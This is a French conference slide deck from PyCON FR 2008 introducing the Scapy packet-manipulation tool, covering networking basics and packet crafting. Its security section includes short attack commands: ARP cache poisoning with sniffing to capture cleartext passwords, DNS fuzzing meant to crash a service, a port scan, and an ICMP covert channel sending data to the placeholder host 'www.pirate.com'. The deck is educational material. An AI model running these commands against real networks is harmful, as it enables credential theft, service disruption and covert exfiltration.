Scapy en pratique. Renaud Lifchitz. «Scapy en pratique» PyCON FR 17 Mai 2008 - Renaud Lifchitz 1

Documents pareils
Sécurité des réseaux Les attaques

Introduction. Adresses

Rappels réseaux TCP/IP

Outils d'analyse de la sécurité des réseaux. HADJALI Anis VESA Vlad

DIFF AVANCÉE. Samy.

Le Tunneling DNS. P.Bienaimé X.Delot P.Mazon K.Tagourti A.Yahi A.Zerrouki. Université de Rouen - M2SSI. 24 février 2011

Devoir Surveillé de Sécurité des Réseaux

1.Introduction - Modèle en couches - OSI TCP/IP

Sécuriser son réseau. Sécuriser son réseau Philippe Weill (IPSL/LATMOS) Frédéric Bongat (SSI/GOUV/FR)

RESEAUX TCP/IP: NOTIONS AVANCEES. Preparé par Alberto EscuderoPascual

Fonctionnement de Iptables. Exercices sécurité. Exercice 1

FILTRAGE de PAQUETS NetFilter

II/ Le modèle OSI II.1/ Présentation du modèle OSI(Open Systems Interconnection)

Réseaux. Moyens de sécurisation. Plan. Evolutions topologiques des réseaux locaux

Sécurité de la ToIP Mercredi 16 Décembre CONIX Telecom

Projet 8INF206 : Sécurité réseau informatique Attaque de l homme du milieu (MITM) Guillaume Pillot

Services Réseaux - Couche Application. TODARO Cédric

Introduction aux Technologies de l Internet

Présentation du modèle OSI(Open Systems Interconnection)

Découverte de réseaux IPv6

Ch2 La modélisation théorique du réseau : OSI Dernière maj : jeudi 12 juillet 2007

TP : Introduction à TCP/IP sous UNIX

Plan. Programmation Internet Cours 3. Organismes de standardisation

Programme formation pfsense Mars 2011 Cript Bretagne

Attaque contre les systèmes de suivi de connexions

Formation Iptables : Correction TP

2. MAQUETTAGE DES SOLUTIONS CONSTRUCTIVES. 2.2 Architecture fonctionnelle d un système communicant.

Figure 1a. Réseau intranet avec pare feu et NAT.

Capture, Filtrage et Analyse de trames ETHERNET avec le logiciel Wireshark. Etape 1 : Lancement des machines virtuelles VMWARE et de Wireshark

Chapitre I. La couche réseau. 1. Couche réseau 1. Historique de l Internet

Internet Protocol. «La couche IP du réseau Internet»

ETHEREAL. Introduction. 1. Qu'est-ce qu'ethereal Historique Le statut d'ethereal

Python Les fondamentaux du langage

Security and privacy in network - TP

Packet Tracer : configuration des listes de contrôle d'accès étendues, scénario 1

Réseaux Locaux. Objectif du module. Plan du Cours #3. Réseaux Informatiques. Acquérir un... Réseaux Informatiques. Savoir.

LINUX - Sécurité. Déroulé de l'action. - 3 jours - Contenu de formation

Télécommunications. IPv4. IPv4 classes. IPv4 réseau locaux. IV - IPv4&6, ARP, DHCP, DNS

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

Sécurité des réseaux Firewalls

Couche application. La couche application est la plus élevée du modèle de référence.

Cours de sécurité. Pare-feux ( Firewalls ) Gérard Florin -CNAM - - Laboratoire CEDRIC -

SSH, le shell sécurisé

Présentation et portée du cours : CCNA Exploration v4.0

TER Réseau : Routeur Linux 2 Responsable : Anthony Busson

Présentation et portée du cours : CCNA Exploration v4.0

Le protocole ARP (Address Resolution Protocol) Résolution d adresses et autoconfiguration. Les protocoles ARP, RARP, TFTP, BOOTP, DHCP

Administration Système & Réseau. Domain Name System Historique & Concepts Fonctionnalités & Hiérarchie Requêtes & Base de donnée DNS

Linux. Sécuriser un réseau. 3 e édition. l Admin. Cahiers. Bernard Boutherin Benoit Delaunay. Collection dirigée par Nat Makarévitch

DHCP et NAT. Cyril Rabat Master 2 ASR - Info Architecture des réseaux d entreprise

L3 informatique Réseaux : Configuration d une interface réseau

Environnements informatiques

Administration réseau Firewall

Haka : un langage orienté réseaux et sécurité

Proxy et reverse proxy. Serveurs mandataires et relais inverses

TP Wireshark. Première approche de Wireshark. 1 ) Lancer Wireshark (double clic sur l icône sur le bureau). La fenêtre

Firewall IDS Architecture. Assurer le contrôle des connexions au. Sécurité 1

Programmation Réseau. ! UFR Informatique ! Jean-Baptiste.Yunes@univ-paris-diderot.fr

SOMMAIRE : CONFIGURATION RESEAU SOUS WINDOWS... 2 INSTRUCTIONS DE TEST DE CONNECTIVITE... 5

Sécurité et Firewall

Administration de Réseaux d Entreprises

Exemples d'intrusion sur les réseaux VoIP

Sécurité d IPv6. Sécurité d IPv6. Stéphane Bortzmeyer AFNIC bortzmeyer@nic.fr. Stéphane Bortzmeyer AFNIC bortzmeyer@nic.fr

Rappel: Le routage dans Internet. Contraintes. Environnement et contraintes. La décision dans IP du routage: - Table de routage:

Sécurisation des systèmes

Spécialiste Systèmes et Réseaux

Algorithmique des Systèmes Répartis Protocoles de Communications

COMMANDES RÉSEAUX TCP/IP WINDOWS.

Les systèmes pare-feu (firewall)

Licence 3 Systèmes et Réseaux II. Chapitre V : Filtrage

2. DIFFÉRENTS TYPES DE RÉSEAUX

Conférence Starinux Introduction à IPTABLES

SECURIDAY 2012 Pro Edition

Protection des protocoles

avec Netfilter et GNU/Linux

Protocoles IP (2/2) M. Berthet. Les illustrations sont tirées de l ouvrage de Guy Pujolle, Cours réseaux et Télécom Contributions : S Lohier

LINUX REDHAT, SERVICES RÉSEAUX/INTERNET

Configuration automatique

Introduction à l'analyse réseau Philippe Latu philippe.latu(at)linux-france.org

U.E. ARES - TD+TME n 1

Netfilter & Iptables. Théorie Firewall. Autoriser le trafic entrant d'une connexion déjà établie. Permettre le trafic entrant sur un port spécifique

L outil Nmap-Stateful. Olivier Courtay Thomson R&D / IRISA

Nmap (Network Mapper) Outil d exploration réseau et scanneur de ports/sécurité

Les formations. Administrateur Systèmes et Réseaux. ENI Ecole Informatique

TP SECU NAT ARS IRT ( CORRECTION )

Topologies et Outils d Alertesd

FORMATION CN01a CITRIX NETSCALER

Réseaux et protocoles Damien Nouvel

CAS IT-Interceptor. Formation «Certificate of Advanced Studies»

UFR de Mathématiques et Informatique Année 2009/2010. Réseaux Locaux TP 04 : ICMP, ARP, IP

Réalisation d un portail captif d accès authentifié à Internet

Tunnels. Plan. Pourquoi? Comment? Qu est-ce? Quelles solutions? Tunnels applicatifs ESIL INFO 2005/2006. Sophie Nicoud

GENERALITES. COURS TCP/IP Niveau 1

Test d un système de détection d intrusions réseaux (NIDS)

Première approche d'un outil merveilleux hping

Couche Transport TCP et UDP

Les commandes relatives aux réseaux

Intérêt du NAT (Network Address Translation) Administration Réseau Niveau routage. Exemple d Intranet. Principe NAT

Transcription:

Scapy en pratique Renaud Lifchitz PyCON FR 17 Mai 2008 - Renaud Lifchitz 1

Plan Qu'est-ce que Scapy? Quelques notions réseaux Manipulations basiques Utilisation avancée : sécurité réseau Références PyCON FR 17 Mai 2008 - Renaud Lifchitz 2

Qu'est-ce que Scapy? Présentation générale Interpréteur Python spécialisé réseau Construire un seul paquet en C 60 lignes Un outil multi-utilisation : forgeur de paquets sniffeur scanneur outil de test (machine/service actif?) outil de fingerprint outil d'attaque (valeurs non prévue dans les protocoles...) Peut remplacer de nombreux outils existants : ethereal/wireshark, tcpdump, dsniff, excalibur, ping, traceroute, nmap, xprobe, ettercap,... PyCON FR 17 Mai 2008 - Renaud Lifchitz 3

Qu'est-ce que Scapy? Avantages par rapport aux autres outils réseaux Pas de syntaxe complexe ("flags" à retenir, liste de commandes à rallonge...) Fonctions de haut niveau déjà implémentées Non dédié à une tâche spécifique Modulaire Extensible PyCON FR 17 Mai 2008 - Renaud Lifchitz 4

Qu'est-ce que Scapy? Points forts & points faibles Points forts : Langage interactif de haut niveau Forge et analyse de paquets très simples Passe le firewall local Points faibles : Ne peut pas traiter trop de paquets simultanément (se servir d'un outil dédié pour ça) Fournit les résultats bruts, ne les interprète pas Support partiel de certains protocoles complexes PyCON FR 17 Mai 2008 - Renaud Lifchitz 5

Quelques notions réseaux Le modèle OSI - 1/? Open Systems Interconnection Norme ISO 7498 créée en 1984 Modèle en 7 couches Permet d'expliquer la quasi-totalité des protocoles réseaux existants et à venir PyCON FR 17 Mai 2008 - Renaud Lifchitz 6

Quelques notions réseaux Le modèle OSI - 2/? 7 Couche application 6 Couche de présentation 5 Couche de session 4 Couche de transport 3 Couche de réseau 2 Couche de liaison 1 Couche physique PyCON FR 17 Mai 2008 - Renaud Lifchitz 7

Quelques notions réseaux Le modèle OSI - 2/? La couche N de l'expéditeur communique avec la couche N du destinataire Mécanisme d'ajout successif d'entêtes à l'expédition, mécanisme de retrait successif d'entêtes à la réception PyCON FR 17 Mai 2008 - Renaud Lifchitz 8

Quelques notions réseaux Le modèle OSI - 2/? Description rapide des couches : couche application : données applicatives (ex.: HTTP, FTP, SMTP) couche présentation : formatage, cryptage, compression... (ex.: SSL) couche session : établissement de sessions (ex.: TCP) couche transport : qualité de transmission (ex.: UDP, TCP/IP) couche réseaux : connectivité, routage (ex.: IP, ICMP) couche liaison de données : adressage physique (adresse MAC) couche physique : signaux électriques/radios PyCON FR 17 Mai 2008 - Renaud Lifchitz 9

Manipulations basiques Protocoles supportés Près de 150 protocoles réseaux supportés dont : Ethernet, IP, IPv6, TCP, UDP, DNS, ICMP, DHCP, ARP, BOOTP, NetBIOS, NTP, Radius, SNMP, TFTP, Dot11, GPRS, L2CAP,... >>> ls() ARP : ARP ASN1_Packet : None BOOTP : BOOTP CookedLinux : cooked linux DHCP : DHCP options DNS : DNS DNSQR : DNS Question Record DNSRR : DNS Resource Record Dot11 : 802.11 Dot11ATIM : 802.11 ATIM (...) PyCON FR 17 Mai 2008 - Renaud Lifchitz 10

Manipulations basiques Commandes de base - 1/2 Une vingtaine de fonctions de base : >>> lsc() sr : Send and receive packets at layer 3 sr1 : Send packets at layer 3 and return only the first answer srp : Send and receive packets at layer 2 srp1 : Send and receive packets at layer 2 and return only the first answer sniff : Sniff packets p0f : Passive OS fingerprinting: which OS emitted this TCP SYN? arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple send : Send packets at layer 3 sendp : Send packets at layer 2 traceroute : Instant TCP traceroute arping : Send ARP who has requests to determine which hosts are up ls : List available layers, or infos on a given layer lsc : List user commands nmap_fp : nmap fingerprinting report_ports : portscan a target and output a LaTeX table is_promisc : Try to guess if target is in Promisc mode. The target is provided by its ip. promiscping : Send ARP who has requests to determine which hosts are in promiscuous mode (...) PyCON FR 17 Mai 2008 - Renaud Lifchitz 11

Manipulations basiques Commandes de base - 2/2 Fonctions d'introspection Python : >>> help(send) Help on function send in module main : send(x, inter=0, loop=0, count=none, verbose=none, *args, **kargs) Send packets at layer 3 send(packets, [inter=0], [loop=0], [verbose=conf.verb]) > None >>> dir(ip) [' class ', ' contains ', ' delattr ', ' dict ', ' div ', ' doc ', ' eq ', ' getattr ', ' getattribute ', ' getitem ', ' gt ', ' hash ', ' init ', ' iter ', ' len ', ' lt ', ' metaclass ', ' module ', ' mul ', ' ne ', ' new ', ' nonzero ', ' rdiv ', ' reduce ', ' reduce_ex ', ' repr ', ' rmul ', ' setattr ', ' str ', ' weakref ', 'add_payload', 'add_underlayer', 'aliastypes', 'answers', 'build', 'build_done', 'build_payload', 'build_ps', 'canvas_dump', 'command', 'copy', 'decode_payload_as', 'default_payload_class', 'display', 'dissect', 'dissection_done', 'do_build', 'do_build_ps', 'do_dissect', 'do_dissect_payload', 'do_init_fields', 'explicit', 'extract_padding', 'fields_desc', 'from_hexcap', 'get_field', 'getfield_and_val', 'getfieldval', 'getlayer', 'guess_payload_class', 'hashret', 'haslayer', 'hide_defaults', 'hops', 'init_fields', 'initialized', 'lastlayer', 'libnet', 'lower_bonds', 'mysummary', 'name', 'ottl', 'overload_fields', 'payload_guess', 'pdfdump', 'post_build', 'post_dissect', 'post_dissection', 'pre_dissect', 'psdump', 'remove_payload', 'remove_underlayer', 'send', 'show', 'show2', 'show_indent', 'sprintf', 'summary', 'underlayer', 'upper_bonds', 'whois'] PyCON FR 17 Mai 2008 - Renaud Lifchitz 12

Manipulations basiques Fabrication de paquets Pas nécessaire de remplir tous les champs (valeurs par défaut) Empiler naturellement les couches réseaux des plus basses aux plus élevées Résolution DNS automatique >>> ls(icmp) type : ByteEnumField = (8) code : ByteField = (0) chksum : XShortField = (None) id : XShortField = (0) seq : XShortField = (0) >>> p=ip(dst="www.google.fr")/icmp() >>> p.summary() "IP / ICMP 192.168.0.4 > Net('www.google.fr') echo request 0" PyCON FR 17 Mai 2008 - Renaud Lifchitz 13

Manipulations basiques Envoi & réception de paquets >>> p=ip(dst="www.google.fr")/icmp() >>> send(p). Sent 1 packets. >>> send(p,loop=1)... (...) Sent 757 packets. >>> q=sr1(p) Begin emission:..finished to send 1 packets. * Received 3 packets, got 1 answers, remaining 0 packets >>> q.summary() 'IP / ICMP 74.125.39.99 > 192.168.0.4 echo reply 0 / Padding' >>> q <IP version=4l ihl=5l tos=0x0 len=28 id=1 flags= frag=0l ttl=240 proto=icmp chksum=0x9853 src=74.125.39.99 dst=192.168.0.4 options='' <ICMP type=echo reply code=0 chksum=0x0 id=0x0 seq=0x0 <Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00' >>> PyCON FR 17 Mai 2008 - Renaud Lifchitz 14

Manipulations basiques Manipulation de paquets >>> q.haslayer(tcp) 0 >>> q.haslayer(ip) 1 >>> q[ip].src '74.125.39.99' >>> q[ip].ttl=255 >>> del q[ip].chksum >>> q <IP version=4l ihl=5l tos=0x0 len=28 id=1 flags= frag=0l ttl=255 proto=icmp src=74.125.39.99 dst=192.168.0.4 options='' <ICMP type=echo reply code=0 chksum=0x0 id=0x0 seq=0x0 <Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00' >>> PyCON FR 17 Mai 2008 - Renaud Lifchitz 15

Manipulations basiques Entrées / sorties - 1/2 >>> lp=sniff() # Capture de trafic réseau >>> lp <Sniffed: TCP:40 UDP:0 ICMP:0 Other:0> >>> wrpcap("capture.pcap",lp) # Sauvegarde des paquets >>> del lp >>> lp=rdpcap("capture.pcap") # Chargement des paquets >>> lp <capture.pcap: TCP:40 UDP:0 ICMP:0 Other:0> >>> str(lp[0]) # Conversion en chaîne binaire '\x00\x07\xcbo]]\x00\x0e\xa6\x82\xf9\x99\x08\x00e\x00\x004`\x16@\x00 @\x06\xa2\x0e\xc0\xa8\x00\x04x\xbf\x1f4\xab\x87\x00p\x8a\x88\x0c %\xee\x0c\xff\xc0\x80\x10\x00\x19\xfbu\x00\x00\x01\x01\x08\nl\x82a\x 13\x02\x06B\xa0' >>> r=ether(str(lp[0])) # Interprétation de la chaîne >>> r==lp[0] True PyCON FR 17 Mai 2008 - Renaud Lifchitz 16

Manipulations basiques Entrées / sorties - 2/2 >>> lp[0].pdfdump() PyCON FR 17 Mai 2008 - Renaud Lifchitz 17

Manipulations basiques Scripter avec Scapy Dans un fichier "progscapy.py" : #!/usr/bin/python import sys sys.path.append('/usr/bin') # Répertoire d'installation de Scapy from scapy import * p=ip(dst='www.google.fr')/icmp() send(p) PyCON FR 17 Mai 2008 - Renaud Lifchitz 18

Utilisation avancée : sécurité réseau Les séquences d'une attaque informatique Les attaques informatiques suivent toujours le même schéma : Prise d'informations Gain d'accès Elévation de privilèges Maintien d'accès Nettoyage des traces Comment Scapy permet-il de tester sa sécurité? PyCON FR 17 Mai 2008 - Renaud Lifchitz 19

Utilisation avancée : sécurité réseau Prise d'informations Scan TCP : >>> res,unans = sr(ip(dst="192.168.0.1")/tcp(flags="s", dport=(1,100))) >>> res.nsummary( lfilter=lambda(s,r): (r.haslayer(tcp) and (r.getlayer(tcp).flags & 2))) 0022 IP / TCP 192.168.0.4:ftp_data > 192.168.0.1:telnet S ==> IP / TCP 192.168.0.1:telnet > 192.168.0.4:ftp_data SA / Padding 0024 IP / TCP 192.168.0.4:ftp_data > 192.168.0.1:smtp S ==> IP / TCP 192.168.0.1:smtp > 192.168.0.4:ftp_data SA / Padding Ports 23 (telnet) et 25 (smtp) ouverts! PyCON FR 17 Mai 2008 - Renaud Lifchitz 20

Utilisation avancée : sécurité réseau Prise d'informations Scan derrière une passerelle ou un load balancer : >>> a,b=sr(ip(dst="www.target.com")/tcp(sport=[randshort()]*1000)) >>> a.plot(lambda x:x[1].id) <Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c> PyCON FR 17 Mai 2008 - Renaud Lifchitz 21

Utilisation avancée : sécurité réseau Prise d'informations Traceroute graphique : >>> res,unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www. wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry= 2) (...) >>> res.graph() Graphique de la topologie réseau! PyCON FR 17 Mai 2008 - Renaud Lifchitz 22

Utilisation avancée : sécurité réseau Prise d'informations PyCON FR 17 Mai 2008 - Renaud Lifchitz 23

Utilisation avancée : sécurité réseau Gain d'accès Détournement de trafic par "ARP cache poisoning" et capture du trafic : >> arpcachepoison("target", "victim") # et en parallèle : >> lp=sniff(lfilter=lambda(p): p.haslayer(tcp) and p.haslayer(raw) and "PASS " in p[raw].load) Capture des mots de passe en clair! PyCON FR 17 Mai 2008 - Renaud Lifchitz 24

Utilisation avancée : sécurité réseau Gain d'accès Fuzzing DNS pour trouver des vulnérabilités (in)connues : >>> p=ip(dst="192.168.0.1")/udp(dport=53)/fuzz(dns()) >>> send(p,loop=1) Paralysie voire plantage du service DNS! PyCON FR 17 Mai 2008 - Renaud Lifchitz 25

Utilisation avancée : sécurité réseau Maintien d'accès Tunneling ICMP (covert channel) : >>> ch="texte confidentiel" >>> p=ip(dst="www.pirate.com")/icmp() >>> for c in ch:... p.id=ord(c)... send(p).... Sent 1 packets.. Sent 1 packets. (...) Evasion d'ids! PyCON FR 17 Mai 2008 - Renaud Lifchitz 26

Références Page officielle de Scapy : http://www.secdev.org/projects/scapy/ Conférence "Scapy : interactive packet manipulation", Philippe Biondi, Libre Software Meeting, 9-12 juillet 2003 Security Power Tools, 1ère édition, O'Reilly, ISBN 0-596-00963-1 GNU/Linux Magazine n 52 juillet-août 2003, Diamond Editions PyCON FR 17 Mai 2008 - Renaud Lifchitz 27